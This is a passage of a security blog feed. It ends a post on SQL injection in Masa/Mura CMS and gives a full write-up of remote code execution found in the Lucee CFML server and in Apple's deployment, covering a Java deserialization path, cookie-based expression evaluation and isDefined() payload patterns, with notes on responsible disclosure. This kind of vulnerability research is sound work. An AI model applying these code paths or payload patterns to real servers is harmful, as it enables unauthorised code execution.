          <span class="pi">-</span> <span class="s1">'</span><span class="s">contains_all(body,</span><span class="nv"> </span><span class="s">"Unhandled</span><span class="nv"> </span><span class="s">Exception")'</span>
          <span class="pi">-</span> <span class="s1">'</span><span class="s">contains_all(header,"cfid","cftoken")'</span>
        <span class="na">condition</span><span class="pi">:</span> <span class="s">and</span>
</code></pre></div></div>

<p>We’ve also added template in <a href="https://github.com/projectdiscovery/nuclei-templates/pull/9721">nuclei-templates GitHub project</a>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>In conclusion, our exploration of Masa/Mura CMS has been a rewarding journey, revealing critical vulnerabilities. The code review process begins by focusing on vulnerable SQL injection code patterns and then utilizing the <a href="https://github.com/foundeo/cfmlparser">CFM/CFC parser</a> to search for specific patterns within the codebase, a similar approach to Semgrep.  Once potential sinks were identified, we traced them back to the source, in this case, the JSON API of Mura/Masa CMS.</p>

<p>We responsibly disclosed these findings to Apple and the respective Masa and Mura CMS teams.</p>

<p><strong>Apple’s Response:</strong></p>

<p>Apple responded and implemented a fix within 2 hours of the initial report, swiftly addressing the reported issue. As always, working with Apple has been a good collaboration.</p>

<p><strong>Masa CMS:</strong></p>

<p>Masa is an open-source fork of Mura CMS, they were quite transparent and released a new version of Masa CMS with fixes. The 7.4.6, 7.3.13 and 7.2.8 versions have the latest security patches including another critical pre-auth SQL injection which is assigned CVE (<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32640">CVE-2024-32640</a>).</p>

<p><strong>Mura CMS:</strong></p>

<p>Despite numerous attempts to reach out to the Mura team regarding these vulnerabilities, we received no response across multiple communication channels. With the 90-day standard deadline elapsed, we are now releasing this blog post detailing the reported vulnerability.</p>

<hr />

<p>By leveraging Nuclei and actively engaging with the open-source community, or by becoming a part of the ProjectDiscovery Cloud Platform, companies can enhance their security measures, proactively address emerging threats, and establish a more secure digital landscape. Security represents a shared endeavor, and by collaborating, we can consistently adapt and confront the ever-evolving challenges posed by cyber threats.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://httpvoid.com/assets/cover.png" /><media:content medium="image" url="https://httpvoid.com/assets/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Hello Lucee! Let us hack Apple again?</title><link href="https://httpvoid.com/Hello-Lucee!-Let-us-hack-Apple-again.md" rel="alternate" type="text/html" title="Hello Lucee! Let us hack Apple again?" /><published>2024-02-15T00:00:00+00:00</published><updated>2024-02-15T00:00:00+00:00</updated><id>https://httpvoid.com/Hello-Lucee!-Let-us-hack-Apple-again</id><content type="html" xml:base="https://httpvoid.com/Hello-Lucee!-Let-us-hack-Apple-again.md"><![CDATA[<p>Note - This is cross post from our work at <a href="https://blog.projectdiscovery.io/hello-lucee-let-us-hack-apple-again/">Projectdiscovery Blog</a></p>

<p>Last year we conducted an <a href="/Adobe-Coldfusion-Pre-Auth-RCE.md">in-depth analysis of multiple vulnerabilities within Adobe ColdFusion</a>, we derived valuable insights, one of which revolved around CFM and CFC handling, parsing and execution. We wondered if there are any other CFML Servers. Does this ring a bell? Allow us to introduce Lucee. We’ve previously compromised Lucee’s Admin panel, showcasing a <a href="/Apple-RCE.md">pre-auth Remote Code Execution (RCE) on multiple Apple servers</a> that utilized Lucee as its underlying server.</p>

<p>Our journey led us through multiple attempts, we will delve into our unsuccessful endeavours and, ultimately, our achievement of RCE on Apple’s production server. Notably, our exploitation extended to potentially compromising Lucee’s update server, thereby unveiling a classic supply chain attack to compromise any Lucee installation with malicious updates.</p>

<h3 id="attempt-1---request-handling-and-rest-mappings">Attempt 1 - Request Handling and REST Mappings</h3>

<p>After checking out Lucee’s admin panel in our earlier research, we found that it’s pretty locked down. There are only four CFM files you can get access while being unauthenticated, so there’s not much room for finding bugs there. We need to dig into how Lucee handles requests. We’re looking for specific paths, parameters, headers, and so on, to understand how requests are handled.</p>

<p>After reviewing the web.xml file, We set up the JVM debugger via IntelliJ and added Lucee’s source code. We plan to start going through the code by putting a breakpoint at Request::exe(). This way, we can step through the code bit by bit and see how Lucee handles requests.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">exe</span><span class="o">(</span><span class="nc">PageContext</span> <span class="n">pc</span><span class="o">,</span> <span class="kt">short</span> <span class="n">type</span><span class="o">,</span> <span class="o">...)</span> <span class="o">{</span>
		<span class="k">try</span> <span class="o">{</span>
<span class="o">...</span>

			<span class="k">if</span> <span class="o">(</span><span class="n">type</span> <span class="o">==</span> <span class="no">TYPE_CFML</span><span class="o">)</span> <span class="n">pc</span><span class="o">.</span><span class="na">executeCFML</span><span class="o">(</span><span class="n">pc</span><span class="o">.</span><span class="na">getHttpServletRequest</span><span class="o">().</span><span class="na">getServletPath</span><span class="o">(),</span> <span class="n">throwExcpetion</span><span class="o">,</span> <span class="kc">true</span><span class="o">);</span>
			<span class="k">else</span> <span class="nf">if</span> <span class="o">(</span><span class="n">type</span> <span class="o">==</span> <span class="no">TYPE_LUCEE</span><span class="o">)</span> <span class="n">pc</span><span class="o">.</span><span class="na">execute</span><span class="o">(</span><span class="n">pc</span><span class="o">.</span><span class="na">getHttpServletRequest</span><span class="o">().</span><span class="na">getServletPath</span><span class="o">(),</span> <span class="n">throwExcpetion</span><span class="o">,</span> <span class="kc">true</span><span class="o">);</span>
			<span class="k">else</span> <span class="n">pc</span><span class="o">.</span><span class="na">executeRest</span><span class="o">(</span><span class="n">pc</span><span class="o">.</span><span class="na">getHttpServletRequest</span><span class="o">().</span><span class="na">getServletPath</span><span class="o">(),</span> <span class="n">throwExcpetion</span><span class="o">);</span>
		<span class="o">}</span>
		<span class="k">finally</span> <span class="o">{</span>
<span class="o">...</span>
		<span class="o">}</span>
	<span class="o">}</span>
</code></pre></div></div>

<p>Another interesting class that deals with Request and Response in Lucee is <code class="language-plaintext highlighter-rouge">core/src/main/java/lucee/runtime/net/http/ReqRspUtil.java</code>. In this class, there are functions to work with various aspects of the Request, like setting/getting certain headers, query parameters, and the request body, among other things.
While looking into this class, we noticed a call to <code class="language-plaintext highlighter-rouge">JavaConverter.deserialize()</code>. As the name suggests, it is a wrapper on <code class="language-plaintext highlighter-rouge">readObject()</code> to handle Java Deserialization.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">static</span> <span class="nc">Object</span> <span class="nf">getRequestBody</span><span class="o">(</span><span class="nc">PageContext</span> <span class="n">pc</span><span class="o">,</span> <span class="kt">boolean</span> <span class="n">deserialized</span><span class="o">,</span> <span class="o">...)</span> <span class="o">{</span>

		<span class="nc">HttpServletRequest</span> <span class="n">req</span> <span class="o">=</span> <span class="n">pc</span><span class="o">.</span><span class="na">getHttpServletRequest</span><span class="o">();</span>

		<span class="nc">MimeType</span> <span class="n">contentType</span> <span class="o">=</span> <span class="n">getContentType</span><span class="o">(</span><span class="n">pc</span><span class="o">);</span>
		<span class="o">...</span>
				<span class="k">if</span><span class="o">(</span><span class="n">deserialized</span><span class="o">)</span> <span class="o">{</span>
					<span class="kt">int</span> <span class="n">format</span> <span class="o">=</span> <span class="nc">MimeType</span><span class="o">.</span><span class="na">toFormat</span><span class="o">(</span><span class="n">contentType</span><span class="o">,</span> <span class="o">-</span><span class="mi">1</span><span class="o">);</span>
					<span class="n">obj</span> <span class="o">=</span> <span class="n">toObject</span><span class="o">(</span><span class="n">pc</span><span class="o">,</span> <span class="n">data</span><span class="o">,</span> <span class="n">format</span><span class="o">,</span> <span class="n">cs</span><span class="o">,</span> <span class="n">obj</span><span class="o">);</span>
				<span class="o">}</span>
		<span class="o">...</span>
		<span class="k">return</span> <span class="n">defaultValue</span><span class="o">;</span>
	<span class="o">}</span>

<span class="kd">public</span> <span class="kd">static</span> <span class="nc">Object</span> <span class="nf">toObject</span><span class="o">(</span><span class="nc">PageContext</span> <span class="n">pc</span><span class="o">,</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">data</span><span class="o">,</span> <span class="kt">int</span> <span class="n">format</span><span class="o">,</span> <span class="o">...)</span> <span class="o">{</span>

		<span class="k">switch</span> <span class="o">(</span><span class="n">format</span><span class="o">)</span> <span class="o">{</span>
			<span class="o">...</span>
			<span class="k">case</span> <span class="no">UDF</span><span class="o">.</span><span class="na">RETURN_FORMAT_JAVA</span><span class="o">:</span> <span class="c1">//5</span>
				<span class="k">try</span> <span class="o">{</span>
					<span class="k">return</span> <span class="nc">JavaConverter</span><span class="o">.</span><span class="na">deserialize</span><span class="o">(</span><span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">data</span><span class="o">));</span>
				<span class="o">}</span>
				<span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">pe</span><span class="o">)</span> <span class="o">{</span>
				<span class="o">}</span>
				<span class="k">break</span><span class="o">;</span>
		<span class="o">}</span>
</code></pre></div></div>

<p>It appears that when the request’s content/type header is set toapplication/java, we should theoretically end up here, right? Well, we promptly dispatched a URLDNS gadget with the required content type. And the result? Drumroll, please… Nothing. Could it be that the deserialized condition didn’t pass? To investigate, we add a breakpoint on <code class="language-plaintext highlighter-rouge">getRequestbody()</code> , only to find out that we don’t even reach this point.</p>

<p>But why? we traced through the function calls and realized that certain configurations must be in place to satisfy the if/else statements to lead us to the sink. Given the complexity of the stack, let’s briefly summarize the key points.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Request:exe() - Determines the type of request and handles it appropriately.
↓
PageContextImpl:executeRest() - Looks for Rest mappings and executes the RestRequestListener.
↓
RestRequestListener() -- Sets the "client" attribute with the value "lucee-rest-1-0" on the request object.
↓
ComponentPageImpl:callRest() - Examines the "client" attribute; if it's "lucee-rest-1-0", proceeds to execute callRest() followed by _callRest().
↓
ComponentPageImpl:_callRest() - If the rest mapping involves an argument, invokes ReqRspUtil.getRequestBody with the argument deserialized: true.
↓
ReqRspUtil.getRequestBody() - If the deserialized argument is true, triggers the toObject() function, which deserializes the request body based on the provided content type.
↓
toObject() - Java Deserialization on the request body if the content type is "application/java".
↓
JavaConverter.deserialize() - The final step where the Java Deserialization process occurs.
</code></pre></div></div>

<p>To reproduce this RCE, a rest mapping with a function that takes at least one argument must be configured. Deploy below Rest mapping.</p>

<pre><code class="language-coldfusion">component restpath="/java"  rest="true" {
    remote String function getA(String a) httpmethod="GET" restpath="deser" {
        return a;
    }
}
</code></pre>
<p align="center" width="100%">
<img src="screenshots/apple-2024-1.png" alt="Java Deserialization via REST Mapping On Lucee" />
</p>

<p>Surprisingly, we discovered that Lucee’s critical update server utilizes a REST endpoint - <code class="language-plaintext highlighter-rouge">https://update.lucee.org/rest/update/provider/echoGet</code>. This server is pivotal in managing all update requests originating from various Lucee installations.</p>

<p align="center" width="100%">
<img src="screenshots/apple-2024-2.png" />
</p>

<p>At the time of finding, this server was vulnerable to our exploit which could have allowed an attacker to compromise the update server, opening the door to a supply chain attack. Acknowledging the severity of the situation, Lucee’s maintainers promptly implemented a hotfix to secure their update server, subsequently releasing an updated version of Lucee with the necessary fixes - CVE-2023-38693. However, our finding did not apply to Apple’s host, as they did not expose any REST mappings. Let’s try again!</p>

<h3 id="attempt-2---cfml-expression-interpreter-cookies-and-sessions">Attempt 2 - CFML Expression Interpreter, Cookies and Sessions.</h3>

<p>After gaining a more in-depth understanding of the codebase, we began selectively examining classes, and one that caught our attention was CFMLExpressionInterpreter. The intriguing nature of this class prompted us to delve into its details. Upon reviewing the class, it became evident that when the constructor’s boolean argument, limited, is set to False (default is True), the method <code class="language-plaintext highlighter-rouge">CFMLExpressionInterpreter.interpret(…)</code> becomes capable of executing CFML expressions.</p>

<p>Something like <code class="language-plaintext highlighter-rouge">CFMLExpressionInterpreter(false).interpret("function(arg)")</code> should let us execute any function of Lucee.
With this insight, we conducted a thorough search within the codebase to identify instances where <code class="language-plaintext highlighter-rouge">CFMLExpressionInterpreter(false)</code> was initialized, and we discovered several occurrences. One in particular was of interest <code class="language-plaintext highlighter-rouge">StorageScopeCookie</code> by the name of it seems to be related to cookies.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">abstract</span> <span class="kd">class</span> <span class="nc">StorageScopeCookie</span> <span class="kd">extends</span> <span class="nc">StorageScopeImpl</span> <span class="o">{</span>

<span class="kd">protected</span> <span class="kd">static</span> <span class="nc">CFMLExpressionInterpreter</span> <span class="n">evaluator</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CFMLExpressionInterpreter</span><span class="o">(</span><span class="kc">false</span><span class="o">);</span>

	<span class="kd">protected</span> <span class="kd">static</span> <span class="nc">Struct</span>  <span class="nf">_loadData</span><span class="o">(</span><span class="nc">PageContext</span> <span class="n">pc</span><span class="o">,</span> <span class="nc">String</span> <span class="n">cookieName</span><span class="o">,</span> <span class="kt">int</span> <span class="n">type</span><span class="o">,</span> <span class="nc">String</span> <span class="n">strType</span><span class="o">,</span> <span class="nc">Log</span> <span class="n">log</span><span class="o">)</span> <span class="o">{</span>
		<span class="nc">String</span> <span class="n">data</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span> <span class="n">pc</span><span class="o">.</span><span class="na">cookieScope</span><span class="o">().</span><span class="na">get</span><span class="o">(</span><span class="n">cookieName</span><span class="o">,</span> <span class="kc">null</span><span class="o">);</span>
		<span class="k">if</span> <span class="o">(</span><span class="n">data</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
			<span class="k">try</span> <span class="o">{</span>
				<span class="nc">Struct</span> <span class="n">sct</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Struct</span><span class="o">)</span> <span class="n">evaluator</span><span class="o">.</span><span class="na">interpret</span><span class="o">(</span><span class="n">pc</span><span class="o">,</span> <span class="n">data</span><span class="o">);</span>
                <span class="o">...</span>
                <span class="o">}</span>
          <span class="o">...</span>
        <span class="o">}</span>
        <span class="o">...</span>
     <span class="o">}</span>

<span class="o">}</span>
</code></pre></div></div>

<p>It appears that the <code class="language-plaintext highlighter-rouge">StorageScopeCookie._loadData()</code> function accepts the cookie name as one of its arguments, retrieves its value from PageContext, and subsequently passes it to <code class="language-plaintext highlighter-rouge">interpret()</code>.</p>

<p>After a thorough follow of multiple code flows, these three were standing out and seemed like could be called by the Lucee application.</p>

<ul>
  <li>sessionInvalidate() -&gt; invalidateUserScope() -&gt; getClientScope() -&gt; ClientCookie.getInstance() -&gt; StorageScopeCookie._loadData(…)</li>
  <li>sessionRotate() -&gt; invalidateUserScope() -&gt; getClientScope() -&gt; ClientCookie.getInstance() -&gt; StorageScopeCookie._loadData(…)</li>
  <li>PageContext.scope() -&gt; getClientScope() -&gt; ClientCookie.getInstance() -&gt; StorageScopeCookie._loadData(…)</li>
</ul>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">final</span> <span class="kd">class</span> <span class="nc">ClientCookie</span> <span class="kd">extends</span> <span class="nc">StorageScopeCookie</span> <span class="kd">implements</span> <span class="nc">Client</span> <span class="o">{</span>

	<span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">String</span> <span class="no">TYPE</span> <span class="o">=</span> <span class="s">"CLIENT"</span><span class="o">;</span>

	<span class="kd">public</span> <span class="kd">static</span> <span class="nc">Client</span> <span class="nf">getInstance</span><span class="o">(</span><span class="nc">String</span> <span class="n">name</span><span class="o">,</span> <span class="nc">PageContext</span> <span class="n">pc</span><span class="o">,</span> <span class="nc">Log</span> <span class="n">log</span><span class="o">)</span> <span class="o">{</span>
		<span class="k">if</span> <span class="o">(!</span><span class="nc">StringUtil</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">(</span><span class="n">name</span><span class="o">))</span> <span class="n">name</span> <span class="o">=</span> <span class="nc">StringUtil</span><span class="o">.</span><span class="na">toUpperCase</span><span class="o">(</span><span class="nc">StringUtil</span><span class="o">.</span><span class="na">toVariableName</span><span class="o">(</span><span class="n">name</span><span class="o">));</span>
		<span class="nc">String</span> <span class="n">cookieName</span> <span class="o">=</span> <span class="s">"CF_"</span> <span class="o">+</span> <span class="no">TYPE</span> <span class="o">+</span> <span class="s">"_"</span> <span class="o">+</span> <span class="n">name</span><span class="o">;</span>
		<span class="k">return</span> <span class="k">new</span> <span class="nf">ClientCookie</span><span class="o">(</span><span class="n">pc</span><span class="o">,</span> <span class="n">cookieName</span><span class="o">,</span> <span class="n">_loadData</span><span class="o">(</span><span class="n">pc</span><span class="o">,</span> <span class="n">cookieName</span><span class="o">,</span> <span class="no">SCOPE_CLIENT</span><span class="o">,</span> <span class="s">"client"</span><span class="o">,</span> <span class="n">log</span><span class="o">));</span>
	<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Upon invoking <code class="language-plaintext highlighter-rouge">sessionInvalidate()</code> or <code class="language-plaintext highlighter-rouge">sessionRotate()</code>, we successfully accessed <code class="language-plaintext highlighter-rouge">ClientCookie.getInstance()</code>, constructing the cookie name as <code class="language-plaintext highlighter-rouge">CF_CLIENT_LUCEE</code>.</p>

<p align="center" width="100%">
<img src="screenshots/apple-2024-3.png" />
</p>

<p>This implies that any application utilizing <code class="language-plaintext highlighter-rouge">sessionInvalidate()</code> or <code class="language-plaintext highlighter-rouge">sessionRotate()</code> could potentially expose a Remote Code Execution (RCE) vulnerability via the <code class="language-plaintext highlighter-rouge">CF_CLIENT_LUCEE</code> cookie. Where, “Lucee” represents the application context name, which might vary depending on the deployed application.</p>

<p>Our initial search within the Lucee codebase for the usage of these functions in any unauthenticated CFM file or Component (CFC) yielded no results. Expanding our investigation to Mura/Masa CMS, also deployed by Apple on their Lucee server, we identified two calls. One of these calls was unauthenticated under the logout action.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="n">function</span> <span class="nf">logout</span><span class="o">()</span> <span class="n">output</span><span class="o">=</span><span class="kc">false</span> <span class="o">{</span>
      	<span class="o">...</span>
	<span class="k">if</span> <span class="o">(</span> <span class="n">getBean</span><span class="o">(</span><span class="err">'</span><span class="n">configBean</span><span class="err">'</span><span class="o">).</span><span class="na">getValue</span><span class="o">(</span><span class="n">property</span><span class="o">=</span><span class="err">'</span><span class="n">rotateSessions</span><span class="err">'</span><span class="o">,</span><span class="n">defaultValue</span><span class="o">=</span><span class="err">'</span><span class="kc">false</span><span class="err">'</span><span class="o">)</span> <span class="o">)</span> <span class="o">{</span>
        <span class="o">...</span>
			<span class="n">sessionInvalidate</span><span class="o">();</span>
        <span class="o">...</span>
</code></pre></div></div>

<p>Unfortunately, the successful exploitation of this vulnerability depends on the rotateSessions setting being enabled in Mura/Masa, which is, by default, set to false. Consequently, we are unable to trigger this vulnerability on Apple’s deployment.</p>

<p>Feeling a tinge of disappointment, we redirected our focus to the <code class="language-plaintext highlighter-rouge">PageContext.scope()</code> flow. After a thorough debugging session, it became apparent that the cookie name in this scenario would be <code class="language-plaintext highlighter-rouge">CF_CLIENT_</code>. More crucially, to exploit this code execution, we would need to enable the Client Management setting from the Lucee admin, which is, by default, disabled. Therefore, once again, we find ourselves unable to trigger this vulnerability on Apple’s configuration.</p>

<p align="center" width="100%">
<img src="screenshots/apple-2024-4.png" />
</p>

<p>Regardless here’s a PoC for the same:</p>

<p align="center" width="100%">
<img src="screenshots/apple-2024-5.png" />
</p>

<h3 id="attempt-3---variable-interpreter-functions-and-mura-cms">Attempt 3 - Variable Interpreter, Functions and Mura CMS</h3>

<p>After various unsuccessful attempts, an alternative idea struck us. What if we could identify more functions that potentially accept user input as a String and could lead to code execution?</p>

<p>Our attention was drawn to <code class="language-plaintext highlighter-rouge">VariableInterpreter.parse(,,limited)</code>, which initializes <code class="language-plaintext highlighter-rouge">CFMLExpressionInterpreter(limited)</code>. It occurred to us that if there are calls to <code class="language-plaintext highlighter-rouge">VariableInterpreter.parse(,,false)</code>, there might be a way for code execution.</p>

<p>Considering this, We identified some vulnerable sinks in the VariableInterpreter class. If any of the following functions pass user input to <code class="language-plaintext highlighter-rouge">parse()</code>, it could serve our purpose:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>getVariable → VariableInterpreter.parse(,,false)
getVariableEL → VariableInterpreter.parse(,,false)
getVariableAsCollection → VariableInterpreter.parse(,,false)
getVariableReference → VariableInterpreter.parse(,,false)
removeVariable → VariableInterpreter.parse(,,false)
isDefined → VariableInterpreter.parse(,,false)
</code></pre></div></div>

<p>To narrow down the search, we investigated classes importing the VariableInterpreter class and identified the following suspects:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>core/src/main/java/lucee/runtime/PageContextImpl.java
core/src/main/java/lucee/runtime/functions/decision/IsDefined.java#L41
core/src/main/java/lucee/runtime/functions/struct/StructGet.java#L37
core/src/main/java/lucee/runtime/functions/struct/StructSort.java#L74
core/src/main/java/lucee/runtime/functions/system/Empty.java#L34
core/src/main/java/lucee/runtime/tag/SaveContent.java#L87
core/src/main/java/lucee/runtime/tag/Trace.java#L170
</code></pre></div></div>

<p>Given the complexity of PageContextImpl, We chose to initially focus on the other classes. Starting with function classes, We tested <code class="language-plaintext highlighter-rouge">StructGet("abc")</code> and successfully hit the breakpoint at <code class="language-plaintext highlighter-rouge">VariableInterpreter.parse()</code>. However, attempting the payload used earlier for <code class="language-plaintext highlighter-rouge">CFMLExpressionInterpreter.interpret()</code> calls didn’t execute <code class="language-plaintext highlighter-rouge">imageRead()</code>.</p>

<p>After reviewing <code class="language-plaintext highlighter-rouge">parse()</code>, We realized that the payload needed to be modified to <code class="language-plaintext highlighter-rouge">x[imageRead('...')]</code> due to the call being made to <code class="language-plaintext highlighter-rouge">CFMLExpressionInterpreter.interpretPart()</code> after splitting the string from <code class="language-plaintext highlighter-rouge">[</code> and it worked. <code class="language-plaintext highlighter-rouge">imageRead()</code> executed. We can call arbitrary functions from <code class="language-plaintext highlighter-rouge">StrucGet("")</code>.</p>

<p>This led us to conclude that the following functions allow CFML evaluation, allowing Remote Code Execution (RCE) when they contain user input:</p>

<ul>
  <li>StructGet(“…”)</li>
  <li>isDefined(“…”)</li>
  <li>Empty(“…”)</li>
</ul>

<p>We did a quick search in Masa/Mura CMS’s codebase, where, despite not finding calls for <code class="language-plaintext highlighter-rouge">StructGet()</code> and <code class="language-plaintext highlighter-rouge">Empty()</code>, we stumbled upon an abundance of calls for <code class="language-plaintext highlighter-rouge">isDefined()</code>.</p>

<p>Now, the reason for so many calls is that isDefined(String var), is used to check if a given string is defined as a variable or not. Meaning that <code class="language-plaintext highlighter-rouge">isDefined(”url.search”)</code> doesn’t mean our query parameter search’s value is being passed here. We’d need a call like <code class="language-plaintext highlighter-rouge">isDefined(”#url.search#”)</code> which means our given string will be checked if it is defined as variable or not.
After grepping for <code class="language-plaintext highlighter-rouge">isDefined\(.#\)</code> we came across a few calls, most importantly the call in FEED API at <code class="language-plaintext highlighter-rouge">core/mura/client/api/feed/v1/apiUtility.cfc#L122</code> and in the JSON API both of which could be triggered pre-auth.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">function</span> <span class="nf">processRequest</span><span class="o">(){</span>
	<span class="k">try</span> <span class="o">{</span>
		<span class="kt">var</span> <span class="n">responseObject</span><span class="o">=</span><span class="n">getpagecontext</span><span class="o">().</span><span class="na">getresponse</span><span class="o">();</span>
		<span class="kt">var</span> <span class="n">params</span><span class="o">={};</span>
		<span class="kt">var</span> <span class="n">result</span><span class="o">=</span><span class="s">""</span><span class="o">;</span>

		<span class="n">getBean</span><span class="o">(</span><span class="err">'</span><span class="n">utility</span><span class="err">'</span><span class="o">).</span><span class="na">suppressDebugging</span><span class="o">();</span>

		<span class="n">structAppend</span><span class="o">(</span><span class="n">params</span><span class="o">,</span><span class="n">url</span><span class="o">);</span>
		<span class="n">structAppend</span><span class="o">(</span><span class="n">params</span><span class="o">,</span><span class="n">form</span><span class="o">);</span>
		<span class="n">structAppend</span><span class="o">(</span><span class="n">form</span><span class="o">,</span><span class="n">params</span><span class="o">);</span>
		<span class="o">...</span>
		<span class="k">if</span> <span class="o">(</span><span class="n">isDefined</span><span class="o">(</span><span class="err">'</span><span class="n">params</span><span class="o">.</span><span class="na">method</span><span class="err">'</span><span class="o">)</span> <span class="o">&amp;&amp;</span> <span class="n">isDefined</span><span class="o">(</span><span class="err">'#</span><span class="n">params</span><span class="o">.</span><span class="na">method</span><span class="err">#'</span><span class="o">)){</span>
			<span class="o">...</span>
		<span class="o">}</span>
	<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The param struct is populated from both theurl and form structs, which store GET and POST parameters, respectively. Consequently, the param struct contains user input. Performing <code class="language-plaintext highlighter-rouge">isDefined("#param.method#")</code> poses a risk of Remote Code Execution (RCE), when Mura/Masa CMS is deployed on a Lucee server.</p>

<p>And finally: We perform our code execution on Apple!</p>

<p><img src="screenshots/apple-2024-6.png" alt="Apple RCE" /></p>

<p>These findings were reported to both Apple and the Lucee team. Apple fixed the report within 48 hours while Lucie’s team notified us that they are aware of this nature and have already implemented a fix by adding an optional setting within the Admin panel:</p>

<p><img src="screenshots/apple-2024-7.png" alt="" /></p>

<h3 id="conclusion">Conclusion</h3>
<p>Our deep dive into Lucee, an alternative CFML server, yielded insightful results and uncovered critical vulnerabilities. We pinpointed vulnerabilities in Lucee’s request handling and REST mappings, exposing a critical Java deserialization flaw. The potential impact was substantial, especially considering the vulnerability’s potential exploitation of Lucee’s vital update server, which could have facilitated supply chain attacks.</p>

<p>Furthermore, our exploration of Lucee’s CFML expression interpretation, cookies, and sessions uncovered vulnerabilities that could lead to remote code execution. Exploiting functions like <code class="language-plaintext highlighter-rouge">sessionInvalidate()</code>, <code class="language-plaintext highlighter-rouge">sessionRotate()</code>, <code class="language-plaintext highlighter-rouge">StructGet()</code> and <code class="language-plaintext highlighter-rouge">IsDefined()</code>, we identified pathways to remote code execution, particularly within Mura/Masa CMS, a CMS deployed on top of Lucee by Apple.</p>

<p>Promptly following our responsible disclosure to both Apple and the Lucee team, swift action ensued. Apple responded and implemented a fix within 48 hours, swiftly addressing the reported issues and rewarded us with a $20,000 bounty, while Lucee swiftly implemented fixes to shore up the vulnerabilities. This collaborative effort highlights the importance of responsible disclosures and bug bounty programs.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://httpvoid.com/assets/cover.png" /><media:content medium="image" url="https://httpvoid.com/assets/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>